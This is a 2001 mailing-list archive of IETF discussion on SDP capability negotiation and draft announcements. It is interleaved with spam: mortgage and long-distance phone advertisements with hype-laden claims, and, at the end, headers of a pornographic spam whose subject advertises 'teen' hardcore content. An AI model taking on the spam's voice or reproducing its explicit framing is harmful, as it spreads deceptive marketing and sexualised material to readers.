	for <confctrl@zephyr.isi.edu>; Thu, 1 Feb 2001 11:35:51 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f11JZjU21862
	for <confctrl@ISI.EDU>; Thu, 1 Feb 2001 11:35:46 -0800 (PST)
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19])
	by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id LAA24020;
	Thu, 1 Feb 2001 11:33:25 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f11JXLY01862;
	Thu, 1 Feb 2001 11:33:21 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id LAA13318; Thu, 1 Feb 2001 11:33:19 -0800 (PST)
Message-ID: <3A79BAAD.9006ED3A@cisco.com>
Date: Thu, 01 Feb 2001 14:36:13 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Tom-PT Taylor <taylor@nortelnetworks.com>
CC: Joerg Ott <jo@tzi.uni-bremen.de>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: Re: Simple Capabilities
References: <28560036253BD41191A10000F8BCBD11038E4142@zcard00g.ca.nortel.com>
Content-Type: multipart/alternative;
 boundary="------------57863344A1033B4C13C8D940"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------57863344A1033B4C13C8D940
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Tom-PT Taylor wrote:

>  I would think agreement on the use of multiple session descriptions
> as alternatives would be one not-too-radical step.
>
> FSA: I strongly disagree. What you propose is something above and
> beyond the SDP spec itself. I am aware that Megaco chose to use this
> approach in it's use of SDP just as Megaco chose to extend/modify the
> syntax with some new wildcard constructs. However other users of SDP,
> e.g. SIP, has not done that, at the last thing I want to do is to
> carry baggage from one particular protocol into SDP, especially when
> it is not needed. There is a perfectly well-defined extension
> mechanism within RFC 2327 that is capable of seamless backwards
> compatibility with all users of SDP that conform to RFC 2327. The
> mechanism is attributes and that is what we should use.
>
>
>
>  If we could possibly consider syntactic innovations, the use of
> ranges for numerical attributes might be useful.
>
> FSA: Fair enough. I'll add the ability to express numerical ranges in
> a capability as a requirement.
>
> -- Flemming
>
>
>      -----Original Message-----
>      From: Flemming Andreasen [mailto:fandreas@cisco.com]
>      Sent: Thursday, January 18, 2001 8:13 PM
>      To: Taylor, Tom-PT [NORSE:B901:EXCH]
>      Cc: Joerg Ott; mmusic@informatik.uni-bremen.de;
>      confctrl@ISI.EDU
>      Subject: Re: Simple Capabilities
>
>
>      Tom-PT Taylor wrote:
>
>     >
>     >
>     > I would like to suggest that anything we do should move
>     > toward making the Megaco adaptations of SDP in the MGC-MG
>     > direction more useful in the reverse direction.
>
>      Can you be a little more specific as to what those are ?
>
>      Also, I would want to note that Megaco stepped outside the
>      syntactic (and semantic) bounds of RFC 2327 in its use of
>      "SDP" in the MGC-MG direction - I assume you are not
>      proposing we should adopt that.
>
>      -- Flemming
>
>
>     > That's a slightly milder requirement than what I'd really
>     > like: that if we choose to add a certain feature to SDP
>     > and Megaco has already provided a solution for that
>     > feature, we should use the Megaco solution.
>     >
>     > > -----Original Message-----
>     > > From: Joerg Ott [mailto:jo@tzi.uni-bremen.de]
>     > > Sent: Thursday, January 18, 2001 6:30 AM
>     > > To: mmusic@informatik.uni-bremen.de
>     > > Cc: confctrl@isi.edu
>     > > Subject: Simple Capabilities
>     > >
>     > >
>     > > Folks,
>     > >
>     > > at the last IETF, a *very* simple capability negotiation
>     > as addition
>     > > to SDP was discussed:
>     > draft-andreasen-mmusic-sdp-simcap-00.txt.
>     > > Numerous comments came up and it was agreed to proceed
>     > as follows:
>     > >
>     > > 1.  We will have a period of two weeks for posting
>     > comments (and
>     > >     potential additions) to the list.
>     > >
>     > >     This is to expire by 31 January 2001.
>     > >
>     > > 2.  From his draft and the additional input, the author
>     > will compile
>     > >     a very brief requirements draft which is to be
>     > posted to the list
>     > >     and will be discussed.
>     > >
>     > >     This will take about one weeks (8 February 2001).
>     > >
>     > > 3.  After this, the author will modify/extend/fix/...
>     > the draft within
>     > >     three weeks time to make the final I-D deadline (2
>     > March 2001).
>     > >
>     > > Please keep in mind that we do not want to accomplish
>     > > everything with this
>     > > document but rather provide a simple short-term solution
>     > to relatively
>     > > simple REAL WORLD problems ONLY.  Anything beyond this
>     > will
>     > > not be integrated
>     > > in the revised document.
>     > >
>     > > Cheers,
>     > > Joerg
>     > >
>     > >
>     > >
>
>      --
>      Flemming Andreasen
>      Cisco Systems
>
>
--
Flemming Andreasen
Cisco Systems


--------------57863344A1033B4C13C8D940
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<p>Tom-PT Taylor wrote:
<blockquote TYPE=CITE>&nbsp;<span class=219230319-01022001>I would think
agreement on the use of multiple session descriptions as alternatives would
be one not-too-radical step.
<p>FSA: I strongly disagree. What you propose is something above and beyond
the SDP spec itself. I am aware that Megaco chose to use this approach
in it's use of SDP just as Megaco chose to extend/modify the syntax with
some new wildcard constructs. However other users of SDP, e.g. SIP, has
not done that, at the last thing I want to do is to carry baggage from
one particular protocol into SDP, especially when it is not needed. There
is a perfectly well-defined extension mechanism within RFC 2327 that is
capable of seamless backwards compatibility with all users of SDP that
conform to RFC 2327. The mechanism is attributes and that is what we should
use.
<br>&nbsp;
<br>&nbsp;
<p>&nbsp;If we could possibly consider syntactic innovations, the use of
ranges for numerical attributes might be useful.
<p>FSA: Fair enough. I'll add the ability to express numerical ranges in
a capability as a requirement.
<p>-- Flemming
<br>&nbsp;
<p></span>
<blockquote 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
<div class="OutlookMessageHeader" dir="ltr"><font face="Tahoma"><font size=-1>-----Original
Message-----</font></font>
<br><font face="Tahoma"><font size=-1><b>From:</b> Flemming Andreasen [<A HREF="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</font></font>
<br><font face="Tahoma"><font size=-1><b>Sent:</b> Thursday, January 18,
2001 8:13 PM</font></font>
<br><font face="Tahoma"><font size=-1><b>To:</b> Taylor, Tom-PT [NORSE:B901:EXCH]</font></font>
<br><font face="Tahoma"><font size=-1><b>Cc:</b> Joerg Ott; mmusic@informatik.uni-bremen.de;
confctrl@ISI.EDU</font></font>
<br><font face="Tahoma"><font size=-1><b>Subject:</b> Re: Simple Capabilities</font></font>
<br>&nbsp;</div>

<p>Tom-PT Taylor wrote:
<blockquote TYPE="CITE">&nbsp;
<p><font size=-1>I would like to suggest that anything we do should move
toward making the Megaco adaptations of SDP in the MGC-MG direction more
useful in the reverse direction.</font></blockquote>
Can you be a little more specific as to what those are ?
<p>Also, I would want to note that Megaco stepped outside the syntactic
(and semantic) bounds of RFC 2327 in its use of "SDP" in the MGC-MG direction
- I assume you are not proposing we should adopt that.
<p>-- Flemming
<br>&nbsp;
<blockquote TYPE="CITE"><font size=-1>That's a slightly milder requirement
than what I'd really like: that if we choose to add a certain feature to
SDP and Megaco has already provided a solution for that feature, we should
use the Megaco solution.</font>
<p><font size=-1>> -----Original Message-----</font>
<br><font size=-1>> From: Joerg Ott [<a href="mailto:jo@tzi.uni-bremen.de">mailto:jo@tzi.uni-bremen.de</a>]</font>
<br><font size=-1>> Sent: Thursday, January 18, 2001 6:30 AM</font>
<br><font size=-1>> To: mmusic@informatik.uni-bremen.de</font>
<br><font size=-1>> Cc: confctrl@isi.edu</font>
<br><font size=-1>> Subject: Simple Capabilities</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>> Folks,</font>
<br><font size=-1>></font>
<br><font size=-1>> at the last IETF, a *very* simple capability negotiation
as addition</font>
<br><font size=-1>> to SDP was discussed: draft-andreasen-mmusic-sdp-simcap-00.txt.</font>
<br><font size=-1>> Numerous comments came up and it was agreed to proceed
as follows:</font>
<br><font size=-1>></font>
<br><font size=-1>> 1.&nbsp; We will have a period of two weeks for posting
comments (and</font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; potential additions) to the
list.</font>
<br><font size=-1>></font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; This is to expire by 31 January
2001.</font>
<br><font size=-1>></font>
<br><font size=-1>> 2.&nbsp; From his draft and the additional input, the
author will compile</font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; a very brief requirements draft
which is to be posted to the list</font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; and will be discussed.</font>
<br><font size=-1>></font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; This will take about one weeks
(8 February 2001).</font>
<br><font size=-1>></font>
<br><font size=-1>> 3.&nbsp; After this, the author will modify/extend/fix/...
the draft within</font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; three weeks time to make the
final I-D deadline (2 March 2001).</font>
<br><font size=-1>></font>
<br><font size=-1>> Please keep in mind that we do not want to accomplish</font>
<br><font size=-1>> everything with this</font>
<br><font size=-1>> document but rather provide a simple short-term solution
to relatively</font>
<br><font size=-1>> simple REAL WORLD problems ONLY.&nbsp; Anything beyond
this will</font>
<br><font size=-1>> not be integrated</font>
<br><font size=-1>> in the revised document.</font>
<br><font size=-1>></font>
<br><font size=-1>> Cheers,</font>
<br><font size=-1>> Joerg</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>></font></blockquote>
--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</blockquote>
</blockquote>

<p>--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</html>

--------------57863344A1033B4C13C8D940--


From confctrl-owner  Fri Feb  2 19:36:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA04022
	for confctrl-outgoing; Fri, 2 Feb 2001 19:36:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA04017
	for <confctrl@zephyr.isi.edu>; Fri, 2 Feb 2001 19:36:37 -0800 (PST)
Received: from www.amcc.com.cn ([202.102.193.110])
	by tnt.isi.edu (8.11.1/8.11.1) with SMTP id f133aZU10319
	for <confctrl@isi.edu>; Fri, 2 Feb 2001 19:36:36 -0800 (PST)
Received: (qmail 18880 invoked by uid 101); 1 Feb 2001 02:02:01 -0000
Received: from unknown (HELO aol.com) (unknown)
  by unknown with SMTP; 1 Feb 2001 02:02:01 -0000
From: <thu1012@aol.com>
Subject: Buying a home?  Self employed?  Hard to qualify?	1284
Date: Wed, 31 Jan 2001 20:46:46
Message-Id: <851.486350.140634@aol.com>
Reply-To: homeloan013101@aol.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


WE SOLVE MORTGAGE PROBLEMS !!!

Specializing in loans for exceptional people

     Self-Employed Borrowers
     No Income or Asset Verification
     All Levels of Credit Quality
     Up to 100% Financing
     High Debt Ratios
     Non-Owner Occupied Properties
     Renovation Plus Purchase and Refinance

$UPER $OLUTION$ ......... $UPER RE$ULT$

If you would like additional information 
please email us at wed1111@excite.com?Subject=MoreInformation

Help a family member or a friend with their home loan needs by 
FORWARDING THIS EMAIL TO THEM!

An Equal Housing Opportunity Lender



If you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.

From confctrl-owner  Mon Feb  5 04:20:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA07677
	for confctrl-outgoing; Mon, 5 Feb 2001 04:20:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA07665
	for <confctrl@zephyr.isi.edu>; Mon, 5 Feb 2001 04:20:38 -0800 (PST)
Received: from server5.europ-assistance.co.il (server2.europ-assistan.co.il [212.25.88.226] (may be forged))
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f15CKXU15913;
	Mon, 5 Feb 2001 04:20:34 -0800 (PST)
Received: from max1-72.losangeles.corecomm.net_[216.214.106.200] (max1-72.losangeles.corecomm.net [216.214.106.200]) by server5.europ-assistance.co.il with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id DMG7J4K5; Mon, 5 Feb 2001 14:14:25 +0200
Received: from  by max1-72.losangeles.corecomm.net with ESMTP; Mon, 05 Feb 2001 04:24:42 -0800
Message-ID: <00003cd67fdb$000002a5$000043ae@>
To: <Undisclosed.Recipients@ISI.EDU>
From: hk67hk89@yahoo.com
Subject: .                         17326
Date: Mon, 05 Feb 2001 04:24:40 -0800
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>
<BODY>
vLink=3D#0000ff><BR>
<TABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 width=3D600><BR>
  <TBODY><BR>
  <TR bgColor=3D#e6decc><BR>
    <TD colSpan=3D4 height=3D14>&nbsp;</TD></TR><BR>
  <TR><BR>
    <TD bgColor=3D#e6decc rowSpan=3D4 width=3D14>&nbsp;</TD><BR>
    <TD width=3D390><IMG height=3D140 <BR>
      src=3D"http://www.premierldn.net/images2/PMlogo.gif" vspace=3D10 wid=
th=3D359></TD><BR>
    <TD width=3D182><FONT color=3D#9c63ce <BR>
      face=3D"Arial black,Helvetica black,sans-serif" size=3D5><BR>
      <CENTER>YOU SAVE <BR><FONT color=3D#ff0000 size=3D6>20% to 50%</FONT=
><BR>ON <BR>
      YOUR <BR>PHONE BILL <BR>EACH MONTH!</CENTER></FONT></TD><BR>
    <TD bgColor=3D#e6decc rowSpan=3D4 width=3D14>&nbsp;</TD></TR><BR>
  <TR><BR>
    <TD colSpan=3D2><FONT color=3D#ff0000 <BR>
      face=3D"Arial black,Helvetica black,sans-serif" size=3D4><BR>
      <CENTER>. . . and we'll donate 5% of your monthly phone bill<BR>to t=
he <BR>
      charity of your choice!</CENTER></FONT><BR></TD><BR>
  <TR><BR>
    <TD width=3D390><BR>
      <BLOCKQUOTE><FONT color=3D#316331 face=3Darial,helvetica size=3D4><B=
R>
        <LI>NO Monthly Service Charge!<BR><BR>
        <LI>NO Installation Fees!<BR><BR>
        <LI>Billed in 6 Second Increments!<BR><BR>
        </FONT><BR>
        <LI><FONT color=3D#316331 face=3Darial,helvetica size=3D4>Only 6.9=
 cent Per <BR>
          Minute Interstate 24 Hours / 7 Days a Week!<BR><BR>
          <BR><FONT color=3D#ff0000 face=3D"arial black,helvetica black" <=
BR>
        size=3D5>SAVE 20% to 50%</FONT> <BR><B>on Your Phone Bill Each Mon=
th!</B> <BR>
        </font><BR><BR><A <BR>
        href=3D"http://www.premierldn.net/images2/applicationC.gif" <BR>
        target=3Dnew><B>Click here to view and print form</B></A><BR><BR><=
FONT <BR>
        color=3D#000000 face=3DArial size=3D2>NOTE: After the form loads o=
n your <BR>
        screen, simply click the "print" button on your browser, fill out =
the <BR>
        form and fax to <B>1-800-377-2125.</B></FONT><BR><BR></LI></BLOCKQ=
UOTE></TD><BR>
    <TD vAlign=3Dtop width=3D182><BR><BR>
      <CENTER><IMG height=3D194 src=3D"http://www.premierldn.net/images2/p=
hotos.gif" <BR>
      width=3D106></CENTER><BR><BR></TD></TR><BR>
  <TR><BR>
    <TD colSpan=3D2><BR>
      <BLOCKQUOTE><BR><FONT color=3D#006331 face=3DArial size=3D3><BR>
        <OL><BR>
          <LI><B>No monthly service charge</B> and no installation fees (s=
avings <BR>
          $3.95 - $8.95 per month) <BR>
          <LI><B>Charges 6 second increments, not 60 seconds</B> (savings =
on <BR>
          average of 27 seconds billing on every call) <BR>
          <LI><B>Low intrastate rates</B> (saving you money on expensive c=
alls <BR>
          within your own state) <BR>
          <LI><B>Rates are the same every day</B> and <B>every hour - 6.9 =
cent <BR>
            !</B> (saving you on expensive day rates of up to 25 cents per=
 minute) <BR>
          <LI>Add <B>Toll free "800" service </B>to existing lines or cell=
 phones <BR>
            at no additional installation charge or monthly fees and only =
6.9 <BR>
            cent per minute interstate.<BR><BR>
          <LI><B>Calling cards are available</B> (16.5 cent per minute, 6-=
second <BR>
            increment billing) with no NBS surcharges for your calls and n=
o charge <BR>
            for the card(s). <BR><BR>
          </LI></OL><B>Sound too good to be true? Well, it's <BR>
        not . . . it's true!</B><BR><BR><B>The bottom line:</B> AT&amp;T, =
<BR>
        Sprint, MCI/Worldcom bills will be higher when all the charges are=
 <BR>
        added. You can easily save $100, $200, or more per year on your lo=
ng <BR>
        distance bills, depending on your calling habits.<BR><BR><A <BR>
        href=3D"http://www.premierldn.net/images2/applicationC.gif" <BR>
        target=3Dnew><B>Click here to view and print form</B></A><BR><BR><=
FONT <BR>
        color=3D#000000 face=3DArial size=3D2>NOTE: After the form loads o=
n your <BR>
        screen, simply click the "print" button on your browser, fill out =
the <BR>
        form and fax to <B>1-800-377-2125.</B> (Federal regulations requir=
e your <BR>
        signature.)</FONT><BR><BR><FONT color=3D#ff0000><B>5% of your mont=
hly <BR>
        phone bill goes to help and support the following charitable <BR>
        organizations:</B><BR><BR><BR>
        <UL><BR>
          <LI>Make a Wish Foundation<BR><BR>
          <LI>St. Judes Children's Hospital<BR><BR>
          <LI>The Miracle Network<BR><BR>
          <LI>Compassion International <BR><BR>
          <LI>or the charity of YOUR choice!<BR></LI></UL></FONT><BR><B>As=
k for <BR>
        your toll free number(s) on the form. <BR>Get a calling card if yo=
u <BR>
        wish. <BR>Don't wait, just do it today. <BR>You'll be glad you <BR=
>
        did!</B></FONT><BR><BR><BR></BLOCKQUOTE></TD><BR>
  <TR bgColor=3D#e6decc><BR>
    <TD colSpan=3D4 height=3D14>&nbsp;</TD></TR></TBODY></TABLE></BODY></H=
TML><BR>
<BR>
</FONT></FONT><p><p><p><p><p><p><p><p><p><p>





<p><FONT face=3D"MS Sans Serif"><p><FONT size=3D2> <!DOCTYPE HTML PUBLIC "=
-//W3C//DTD HTML 4.0 Transitional//EN"><BR><p><HTML><HEAD><TITLE>Premier L=
ong Distance Network - A phone company that makes CENTS!</TITLE><BR><p><ME=
TA content=3D"text/html; charset=3Diso-8859-1" http-equiv=3DContent-Type><=
BR><p><META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR></HEAD><BR>=
<p><BODY aLink=3D#0000ff bgColor=3D#ffffff link=3D#0000ff text=3D#000000 <=
BR><p><p>
</BODY>
</HTML>



From confctrl-owner  Mon Feb  5 06:29:49 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA13972
	for confctrl-outgoing; Mon, 5 Feb 2001 06:29:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA13967
	for <confctrl@zephyr.isi.edu>; Mon, 5 Feb 2001 06:29:47 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f15ETkU28662
	for <confctrl@isi.edu>; Mon, 5 Feb 2001 06:29:46 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA06591;
	Mon, 5 Feb 2001 09:29:45 -0500 (EST)
Message-Id: <200102051429.JAA06591@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-atm-05.txt
Date: Mon, 05 Feb 2001 09:29:45 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Conventions for the use of the Session Description 
                          Protocol (SDP)for ATM Bearer Connections
	Author(s)	: R. Kumar, M. Mostafa
	Filename	: draft-ietf-mmusic-sdp-atm-05.txt
	Pages		: 101
	Date		: 02-Feb-01
	
This document describes conventions for using the Session Description
Protocol (SDP) described in RFC2327  [1] for controlling ATM Bearer
Connections, and any associated ATM Adaptation Layer (AAL). The AALs
addressed are Type 1, Type 2 and Type 5. This list of conventions is
meant to be exhaustive. Individual applications can use subsets of
these conventions. Further, these conventions are meant to comply
strictly with the SDP syntax as defined in rfc2327.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-05.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-atm-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010202093901.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-atm-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010202093901.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Feb  5 20:43:24 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA00425
	for confctrl-outgoing; Mon, 5 Feb 2001 20:43:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA00420
	for <confctrl@zephyr.isi.edu>; Mon, 5 Feb 2001 20:43:23 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f164hHU02815
	for <confctrl@isi.edu>; Mon, 5 Feb 2001 20:43:17 -0800 (PST)
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19])
	by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id UAA11147
	for <confctrl@isi.edu>; Mon, 5 Feb 2001 20:43:15 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f164hCH11165
	for <confctrl@isi.edu>; Mon, 5 Feb 2001 20:43:12 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id UAA04938 for <confctrl@isi.edu>; Mon, 5 Feb 2001 20:43:11 -0800 (PST)
Message-ID: <3A7F8195.97CAF94A@cisco.com>
Date: Mon, 05 Feb 2001 23:46:13 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SDP Simple Capabilities requirements
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings

As discussed at the last IETF, I have now produced a requirements draft
for the SDP Simple Capabilities. I have submitted the draft as
<draft-andreasen-mmusic-sdp-simcap-reqts-00.txt>. Until it appears in
the arhives, you can access it at:


http://members.bellatlantic.net/~fandreas/IETF/MMUSIC/draft-andreasen-mmusic-sdp-simcap-reqts-00.txt

I'll be seeking comments on this for the next week, i.e. until February
12, after which I will produce an updated version of the SDP simple
capability draft itself.


Thanks and regards

                    Flemming


--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Tue Feb  6 17:37:58 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA02448
	for confctrl-outgoing; Tue, 6 Feb 2001 17:37:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA02443
	for <confctrl@zephyr.isi.edu>; Tue, 6 Feb 2001 17:37:57 -0800 (PST)
Received: from graphics.nju.edu.cn (IDENT:root@graphics.nju.edu.cn [202.119.36.43])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f171bsU19809
	for <confctrl@ISI.EDU>; Tue, 6 Feb 2001 17:37:54 -0800 (PST)
Received: from wangjian ([192.168.1.149])
	by graphics.nju.edu.cn (8.9.3/8.8.7) with SMTP id BAA29122
	for <confctrl@ISI.EDU>; Mon, 5 Feb 2001 01:40:09 +0800
Message-ID: <006401c090a6$73c2efe0$9501a8c0@nju.edu.cn>
Reply-To: "WANG Jian" <wangjian@doctor4u.com>
From: "WANG Jian" <wangjian@graphics.nju.edu.cn>
To: <confctrl@ISI.EDU>
Subject: remove me
Date: Wed, 7 Feb 2001 09:36:48 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0061_01C090E9.7E4C8E60"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0061_01C090E9.7E4C8E60
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: base64

cmVtb3ZlIG1lDQoNCndhbmdqaWFuQGdyYXBoaWNzLm5qdS5lZHUuY24NCg==

------=_NextPart_000_0061_01C090E9.7E4C8E60
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdi
MjMxMiIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNS4w
MC4yMzE0LjEwMDAiIG5hbWU9R0VORVJBVE9SPg0KPFNUWUxFPjwvU1RZTEU+DQo8L0hFQUQ+DQo8
Qk9EWSBiZ0NvbG9yPSNmZmZmZmY+DQo8RElWPjxGT05UIHNpemU9Mj5yZW1vdmUgbWU8L0ZPTlQ+
PC9ESVY+DQo8RElWPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBzaXplPTM+d2FuZ2ppYW5AZ3Jh
cGhpY3Mubmp1LmVkdS5jbjwvRk9OVD48L0RJVj48L0JPRFk+PC9IVE1MPg0K

------=_NextPart_000_0061_01C090E9.7E4C8E60--


From confctrl-owner  Thu Feb  8 22:19:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA11988
	for confctrl-outgoing; Thu, 8 Feb 2001 22:19:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA11983
	for <confctrl@zephyr.isi.edu>; Thu, 8 Feb 2001 22:19:40 -0800 (PST)
Received: from asp.data-bank.ne.jp ([210.169.245.83])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f196JbU05317
	for <confctrl@isi.edu>; Thu, 8 Feb 2001 22:19:39 -0800 (PST)
Received: from 216.126.153.107 - 216.126.153.107 by asp.data-bank.ne.jp  with Microsoft SMTPSVC(5.5.1775.675.6);
	 Fri, 9 Feb 2001 15:22:02 +0900
Message-ID: <0000752e32b4$0000372b$0000646b@>
To: <baxieq@hotmail.com>
From: cheddarchz@hotmail.com
Subject: F R E E  Teen Hardcore Site - WET GIRLS .... . . .. ... ...                         25707
Date: Fri, 09 Feb 2001 01:19:27 -0500
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
